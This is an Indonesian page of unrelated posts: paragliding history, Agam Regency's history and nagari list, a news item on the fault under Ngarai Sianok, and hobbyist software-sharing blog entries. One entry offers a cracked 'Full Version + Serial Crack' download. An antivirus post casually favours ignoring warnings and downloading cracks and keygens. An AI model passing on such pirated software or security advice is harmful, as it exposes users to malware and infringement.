Olahraga paralayang mulai muncul pada awal tahun 80-an. Tidak jelas siapa yang mengawalinya. Namun proses terciptanya paralayang ini melewati sebuah proses yang cukup panjang dan diilhami oleh kegiatan gantolle dan terjun payung. Adalah Dr. Francis Rogallo yang pada tahun 1940 menciptakan sebuah layang-layang yang bentuknya kemudian menjadi cikal bakal gantolle yang sekarang ini ada.

Pierre Lemoigne termasuk orang yang punya andil, karena pada tahun 1960, ia menyempurnakan kembali bentuk parasut untuk terjun statik yang berbentuk bulat, menjadi parasut terjun yang dikenal sebagai parasut Para Commander (PC) yang mempunyai gerakan lebih baik dan dapat dikontrol dibanding parasut sebelumnya.

Kemajuan pesat terjadi saat terciptanya parasut terjun payung persegi dengan dua permukaan yang masing-masing dipisahkan oleh rongga-rongga yang disebut sel oleh Domina Jalbert dari Amerika. Parasut ciptaan Domina ini dikenal dengan nama Parafoil menggunakan sistem “Ram Air”. Parasut ini mengembang karena adanya lintasa udara yang terperangkap di dalam sel. Konsep “Ram Air” ini sebenarnya tak mengalami perubahan berarti hingga kini, namun tingkat penyempurnaan bentuknya begitu menakjubkan, sehingga bisa dibilang konsep inilah yang mengilhami secara langsung terciptanya olahraga paralayang.

Pada tahun 1978, beberapa peterjun Eropa mencatat sukses lepas landas dari sebuh lereng terjal menggunakan parasut yang disempurnakan ini. Tak lama kemudian peski Swiss menyusul dengan meluncur di lereng bersalju di Engadine dengan menggunakan parasut persegi yang serupa.

Berawal dari sinilah nampaknya olahraga paralayang yang di Perancis disebut Parapente. Selain nama-nama yang disebut sebelumnya, tiga anggota Parachute Club of Annemasse, Perancis, bisa dibilang mempunyai andil dalam pemasyarakatan olahraga paralayang Mieussy, di kawasan Pegunungan Pertuiset, antara Genevv dan Chamonix yaitu: Jean-Claude Betemps, Andre Bohn, dan Gerard Boson.

D Indonesia sendiri, paralayang baru mulai muncul awal tahun 1990 yang ditandai dengan terbentuknya Kelompok Paralayang MERAPI di Yogyakarta yang dimotori oleh Dudy Arief Wahyudi (alm), dan penulis. David A. Teak, Ferry Maskun, dan Daweris Taher termasuk para penerbang awal Indonesia. Beberapa pemula ini berlatih secara otodidak melalui manual-manual dan majalah-majalah paralayang. Setidaknya pernah tercatat sebanyak 1200 penerbang di Indonesia, namun yang kini aktif tak lebih dari sepertiganya.

Olahraga paralayang di Indonesia berada di bawah Pordirga Layang Gantung Indonesia (PLGI) yang berada dibawah naungan PB FASI. Sedang untuk organisasi internasionalnya, olahraga ini berada dibawah Commission Internationale du Vol Libre (CIVL) yang dibawah naungan FAI. (dari berbagai sumber)

Sejarah Kabupaten Agam

SEJARAH

Kabupaten Agam mempunyai sejarah yang panjang dan komplit, baik di bidang Pemerintahan maupun di bidang adat istiadat. Diawali dari Kerajaan Minangkabau pada pertengahan abad ke-17, dimana rakyat Minangkabau telah memanggul senjata untuk berontak melawan penjajahan Belanda.

Pemerintahan Minangkabau yang disebut Ranah Minang, dimana Kabupaten Agam tempo dulu, selain Sumatera Barat juga termasuk daerah Limo Koto Kampar (Bangkinang) yang sekarang termasuk Propinsi Riau, Daerah Kabupaten Kerinci (Sungai Penuh) sekarang termasuk Propinsi Jambi dan sebagian daerah Tapanuli Selatan (Koto Napan) yang sekarang secara administrasi berada di Propinsi Sumatera Utara.

Pemerintahan adat mencakup Luhak dan Rantau, dimana Pemerintahan Wilayah Luhak terdiri dari Luhak Tanah Datar, Luhak Limo Puluah dan Luhak Agam. Komisariat Pemerintahan Republik Indonesia di Sumatera yang berkedudukan di Bukittinggi mengeluarkan peraturan tentang pembentukan daerah Otonom Kabupaten di Sumatera Tengah yang terdiri dari 11 Kabupaten yang salah satunya Kabupaten Singgalang Pasaman dengan ibukotanya Bukittinggi yang meliputi kewedanan Agam Tuo, Padang Panjang, Maninjau, Lubuk Sikaping dan Kewedanaan Talu ( kecuali Nagari Tiku, Sasak dan Katiagan).

Dalam masa Pemerintahan Belanda, Luhak Agam dirubah statusnya menjadi Afdeling Agam yang terdiri dari Onder Afdeling Distrik Agam Tuo, Onder Afdeling Distrik Maninjau dan Onder Afdeling Distrik Talu. Pada permulaan Kemerdekaan RI tahun 1945 bekas Daerah Afdeling Agam dirubah menjadi Kabupaten Agam yang terdiri dari tiga kewedanan masing-masing Kewedanaan Agam Tuo, Kewedanaan Maninjau dan Kewedanaan Talu.
SOSIOLOGI

Dengan Surat Keputusan Gubernur Militer Sumatera Tengah No. 171 tahun 1949, daerah Kabupaten Agam diperkecil dimana Kewedanaan Talu dimasukkan ke daerah Kabupaten Pasaman, sedangkan beberapa nagari di sekitar Kota Bukittinggi dialihkan ke dalam lingkungan administrasi Kotamadya Bukittinggi.

Keputusan Gubernur Militer Sumatera Tengah tersebut dikukuhkan dengan Undang-undang No. 12 tahun 1956 tentang pembentukan Daerah Tingkat II dalam lingkungan Propinsi Sumatera Tengah, sehingga daerah ini menjadi Daerah Tingkat II Kabupaten Agam.

Pada tanggal 19 Juli 1993 secara de facto, ibukota Kabupaten Agam telah berada di Lubuk Basung yang dikuatkan dengan dikeluarkannya Peraturan Pemerintah Republik Indonesia ( PP Nomor 8 Tahun 1998 )


Terbagi kedalam 16 kecamatan, 82 nagari dan 467 jorong

Kec. Ampek Nagari
Nagari Batu Kambing
Nagari Bawan
Nagari Sitalang
Nagari Sitanang
Kec. Banuhampu
Nagari Cingkaring
Nagari Kubang Putiah
Nagari Ladang Laweh
Nagari Padang Lua
Nagari Pakan Sinayan
Nagari Sungai Tanang
Nagari Taluak IV Suku
Kec. Baso
Nagari Koto Baru
Nagari Koto Tinggi
Nagari Padang Tarok
Nagari Salo
Nagari Simarasok
Nagari Tabek Panjang
Kec. Candung
Nagari Bukik Batabuah
Nagari Canduang Koto Laweh
Nagari Lasi
Kec. IV Angkek
Nagari Ampang Gadang
Nagari Balai Gurah
Nagari Batu Taba
Nagari Biaro Gadang
Nagari Lambah
Nagari Panampuang
Nagari Pasia
Kec. IV Koto
Nagari Balingka
Nagari Guguak Tabek Sarojo
Nagari Koto Gadang
Nagari Koto Panjang
Nagari Koto Tuo
Nagari Sianok Anam Suku
Nagari Sungai Landia
Kec. Kamang Magek
Nagari Kamang Hilir
Nagari Kamang Mudik
Nagari Magek
Kec. Lubuk Basung
Nagari Geragahan
Nagari Kampuang Tangah
Nagari Kampung Pinang
Nagari Lubuk Basung
Nagari Manggopoh
Kec. Malalak
Nagari Malalak Barat
Nagari Malalak Selatan
Nagari Malalak Timur
Nagari Malalak Utara
Kec. Matur
Nagari Lawang
Nagari Matua Hilia
Nagari Matua Mudik
Nagari Panta Pauh
Nagari Parik Panjang
Nagari Tigo Balai
Kec. Palembayan
Nagari Ampek Koto Palembayan
Nagari Baringin
Nagari Salareh Aia
Nagari Sipinang
Nagari Sungai Puar
Nagari Tigo Koto Silungkang
Kec. Palupuh
Nagari Koto Rantang
Nagari Nan Tujuah
Nagari Pagadih
Nagari Pasia Laweh
Kec. Sungai Puar
Nagari Batagak
Nagari Batu Palano
Nagari Padang Laweh
Nagari Sariak
Nagari Sungai Pua
Kec. Tanjung Mutiara
Nagari Tiku Selatan
Nagari Tiku Utara
Nagari Tiku V Jorong
Kec. Tanjung Raya
Nagari Bayua
Nagari Duo Koto
Nagari Koto Gadang Anam Koto
Nagari Koto Kaciak
Nagari Koto Malintang
Nagari Maninjau
Nagari Paninjauan
Nagari Sungai Batang
Nagari Tanjung Sani
Kec. Tilatang Kamang
Nagari Gadut
Nagari Kapau
Nagari Koto Tangah

Ngarai Sianok Pusat Lempengan Sumatera

Di balik indahnya pemandangan Ngarai Sianok, ternyata menyimpan potensi bencana. Kawasan itu merupakan pusat lempengan Sumatera, sehingga menimbulkan efek besar kepada masyarakat.

 Hal itu diungkapkan Koordinator Tim Ahli Geologi LIPI, yang tergabung dalam Tim Ekspedisi Singgalang,  di Malalak, Kabupaten Agam
“Efek yang timbul dapat berupa tanah longsor dan hilangnya perkampungan. Kalau diletakkan seismometer di kawasan tersebut, maka akan terlihat, dan tercatat setiap lima menit, lempengan itu bergerak,” ujar Suparka.

Suparka memaparkan, tim menemukan potongan patahan yang sangat besar, di kedalaman 10 kilometer, dan berada tepat di bawah Ngarai Sianok. Untuk itu, penelitian di Ngarai Sianok akan terus dilakukan dari segala lini dan dampaknya terhadap warga. Karena itu, pemda setempat diminta membuat aturan tegas dalam melaksanakan pembangunan jika tidak ingin Kabupaten Agam hilang di masa mendatang.

“Namum saat ini, belum perlu memindahkan warga di sekitar Ngarai Sianok. Walaupun demikian, pemerintah harus memperhatikan konstruksi bangunan, serta beban yang berada di dekat lokasi,” ujarnya. Suparka mengungkapkan, jalur patahan Sumatera ini sampai ke Lampung.

Sementara di Sumbar yang paling rawan adalah Agam, Bukittinggi, Padangpanjang dan Padang karena berada tepat di bawah patahan Sumatera. Untuk Agam, zona merah berada di bawah patahan Sumatera itu Palambayan, Maninjau, Palupuah, dan Malalak.

“Gempa Sumbar sama dengan gempa di California. Untuk itu, pemda diminta mencari wilayah yang lebih aman, sehingga saat bencana terjadi, tidak memakan korban yang banyak,” sarannya.

“Kapan lempengan skala besar bergerak memang belum bisa dipastikan, atau kapan gempa besar akan terjadi itu juga belum bisa dipastikan. Namun saya yakin, kalau terjadi gempa di kedalaman 10 kilometer, maka goncangan yang sangat kuat akan keluar di kawasan Ngarai Sianok,” pungkasnya.

Intensifkan Sosialisasi
Terkait temuan itu, Sekkab Agam Syafirman mengatakan telah melakukan sosialisasi dan pengaturan tata ruang. Sementara untuk memindahkan masyarakat yang berada tidak jauh dari lokasi, seperti disebutkan peneliti itu, Pemkab belum memiliki dana.
“Kami terus memberitahukan kepada masyarakat di zona merah agar terus waspada,” jelasnya

Microsoft Visual Studio 2008

Hmt... Sempat Waktu Lalu Saya Ngeshare Tentang Visual Basic 6..(VB 6)

Sekarang Saya Pengen Ngeshare Kelanjutan Dari VB 6 Yaitu VB 2008 (Microsoft Visual Studio)

Coz.. Saya Pikir Pikir Masih Banyak Kekurangan Di VB 6.. Yang Saya Tahu Sih.. Tampilannya.. Kurang Mantap..

Waktu Tadi Malam OL Eh... Gak Taunya Ada Teman Yang Ngajak Chating And Yang Di Bahas Adalah VIsual Basic 2008..

Akhirnya Sih.. Keinginan Untuk Kembali Ke Dunia VB Muncul... Apalagi Versi 2008..

Mantap Dah....

Ingat Bro.. Kita Gak Akan Berkembang Kalo Hanya Diam Dan Diam Bro...

Mari Kita Belajar Bersama...

Di Dunia Lamers Tidak Ada Atasan Ataupun Bawahan Semuanya Sama Saja...

Mereka Saling Berbagi...

Link Lokal Bro...


Microsoft Visual Studio 2008


E-Book (Indonesia)

Kisah - Kisah Hacker Dunia

o Brother.. Jumpa Lagi Ma Gw Dark Sang Lamer AKA Dark Cyber...
Kali Ini Gw Mau Ngeshare E-book Yang Ada Di HD Gw..

E-book Ini Mengisahkan Perjuangan Para Hacker Ternama Di Dunia..

Apakah Mereka Black Hat or White Hat Ataukah Mereka Grey Hat ???

Ingin Tau Jawabanya ???

Yang Jelas Ceritanya Seru Dan Menegangkan.. Bakalan Rugi Kalo

Teman - Teman Kagak Download

Download

Windows Blinds 7.2 Full Version + Serial Crack

Windows Blinds 7.2 Bagi Sobat Yang Suka Dengan Tampilan Atau Display, Saat Ini Versi Terbaru Adalah 7.2
Di Sini Saya Akan Memberi Link Downloadnya Full Versi :D Download Windows Blinds Terbaru Full Versi Download Windows Blind
Pass : gieterror.blogspot.com

Google Chrome 11.0.696.0 Beta

Google Chrome 11.0.696.0 Beta Adalah Browser Google Chrome Yang Terbaru.
Google Chrome 11.0.696.0 Beta Seperti Kenyataanya... Browser Ini Mudah Di Gunakan , Tampilan Nya Yang Gak Membosankan Dan Tentunya High Speed And Safe.


 Apakah Browser Google Chrome Anda Adalah Versi Terbaru ???

 Kalo Masih Versi Lama.. Ya Di Ganti Donk.. :D

 Tapi Ada Sedikit Kendala Brother...

 Biasanya Kalo Kita Download Dari Om Google..

 File Yang Di Berikan Adalah "Downloader Nya" So.. Kita Harus Install Secara Online Donk... :D

 Yups.. Seperti Itulah..

 Tapi Saya Mau Share Google Chrome 11.0.696.0 Beta Offline Installer

Anti Virus Bule VS Anti Virus Lokal

   Kali Ini Saya Mau Bahas Tentang Bedanya Anti Virus Bule Sama Anti Virus Lokal.. Sehingga Kawan - Kawan Bisa Memilih Yang Tepat... Apakah AV Bule Yang Terbaik Ataukah AV Lokal Yang Terbaik ???

Temukan Jawabanya Setelah Membaca Yang Di Bawah Ini
Hal Yang Perlu di perhatikan dalam menggunakan Anti Virus Baik Luar Ataupun Dalam Negeri...

1.Ada User yang sangat agresif sekali dalam menggunakan AV apalagi AV nya juga agresif kayak AV*RA..User seperti di atas kemungkinan besar System Pc nya cepat Rusak gara gara main delete aja kalo AV nya munculin Pesan Warning..

2.Ada user yang menggunakan AV dengan Tenang dan sabar.. Jadi dia pake AV yang ramah lingkungan kayak "Kas*er S*y"
and kalo usernya benar benar tidak tau asal usul file yang di deteksi sebagai virus maka ia mendelete file tersebut..
atau jika Av nya muncul pesan warning and file yang di deteksi adalah file System maka ia tekan "Ignore atau Skip"

3.Ada user yang menggunakan AV tapi jarang di gunakan.. Biasanya tipe orang seperti ini adalah... Orang yang bisa ngeHAck atau bisa juga VXER
Jadi Prinsip orang tersebut adalah "Virus adalah teman dan Virus Harus Di Kembangkan" and biasanya AV yang di gunakan bersifat Portable seperti "SMAD*V", "AnSa*" dan lain sebagainya...

User tersebut menggunakan 1 AV yang portable di karenakan :
1.Dia Sering DL soft Hacking (AV Luar Paling Anti Sama Soft Yang Satu Ini)
2.Dia Sering DL Crack, Keygen, Atau Patcher (AV Luar Juga Anti... Di Karenakan Soft Ini Bersifat NginJect Program Yang Di Tuju)
3.Av Luar Lebih sering memunculkan pesan warning daripada Av POrtable.. dan hal ini menggangu kinerja user...

Kelebihan Av Luar :
- Terkenal dan Sering Di Gunakan
- Mengamankan PC Dengan Sangat Ekstra
- Tampilan User Friendly

Kelemahan AV luar :
- Memperlambat kinerja PC
- Membuat Kinerja User Terganggu
- Membuat User Panik Dan Bingung ketika muncul Pesan Warning
- Kemungkinan Resiko Semakin Besar Bila User Menggunakan AV Yang Agresif Dan Asal Main Tekan Delete



Kelebihan AV Dalam :
- Tidak Memperlambat Kinerja PC
- Kemungkinan menggangu kinerja User Sangat Minim
- Resiko Kecil Karena Kebanyakan AV Dalam Tidak Agresif

Kelemahan AV Dalam :

- Keamanan Sangat Rawan Kecelakaan
- Tampilan Tidak Cool..

Dari Penjelasan Di Atas Maka Hasil Akhir Persidangan Pada Topik ini adalah :
- Gunakan 2 AV yaitu AV Dalam Dan Luar Sesuai Hati Nurani Dan Tidak Di Pengaruhi Teman Dekat... Atau Ketenaran AV
- Berhati Hati ketika Mengaktifkan AV

Mungkin Kalian Ingin Tahu Keamanan Apa Yang saya gunakan... ???
1. SMA*AV
2. Norton Go Back..
3. Brain Logic Created By The Creator Of Death AKA ALLAH Maha Besar...


Permasalah Yang Paling Sering Di Alami Av Luar Dan Beresiko Tinggi..

1. Mendeteksi File System Sebagai Virus Dan User Mendelete Akibatnya System Pada PC Corrupt
2. Mendeteksi File Yang Bukan virus Sebagai Virus Biasannya Game dan File Ber Ekstensi .exe

Permasalah Yang Paling Sering Di Alami AV Dalam Dan Beresiko Tinggi

1. Tidak Bisa Menghapus Virus Jenis Tertentu.
2. Sering Kebobolan...

By.. Bye.. All....

VERSUS

Team Viewer 6 Full Version ( REMOTE DESKTOP )

http://download923.mediafire.com/mh0dbssicavg/32hn0msa5u1sfu1/Team+Viewer+6+Full.rar

Ok... Kali Ini Saya Bakalan Share Tentang Salah Satu Remote Desktop.. Nih Software Namannya Team Viewer 6..

Team Viewer 6 Ini Multi Fungsi Lho.. Bisa Remote Desktop, Kemudian Kirim File.. Mantap Deh Pokoknya..
Tenang Nih Software Legal Kok.. Bukan Ilegal :D

Cara Penggunaan Team Viewer Adalah Sebagai Berikut...
1. Install Team Viewer Di PC Mu.. Sama PC Tujuan..
2. Pastikan Kedua PC Terkoneksi Dengan Internet...
3. Jika Kamu Ingin Jadi REMOTER ( Pengendali ) Maka Kamu Harus Tau ID Dan Password Tujuan..
4. Kamu Minta ID ama Password Ke Teman Kalian...
5. Masukkan ID Dan Password Kalian Di Tempat Yang Tersedia...
6. Langsung Deh.. Connect
7. Entar Bakalan Muncul Desktop Nya Tujuan :D Happy Usil With Team Viewer

Begitupun Sebaliknya Kalo Teman Kalian Pingin Ngeremote PC Mu, Dia Harus Tau ID And Passwordmu

Langsung Deh Download Di Mari !!!

Blue Atom AV

SMADAV, ANSAV, ARTAV, Kemudian Satu Lagi BLUE ATOM.

Siapa Yang Gak Kenal ??

Anti Virus Di Atas Adalah "Anti Virus Lokal" Dan Baru Baru Ini Muncul 2 Anti Virus Lokal Di Indonesia

Yaitu "Artav" Dan "Blue Atom". Di Koran Di Katakan Bahwa Yang Membuat Adalah Anak SMP.

Nah Kali Ini Saya Share Yang "BLUE ATOM"



Nah.. Waktu Kemaren Kan Saya Share "ARTAV" Sekarang Gantian "BLUE ATOM"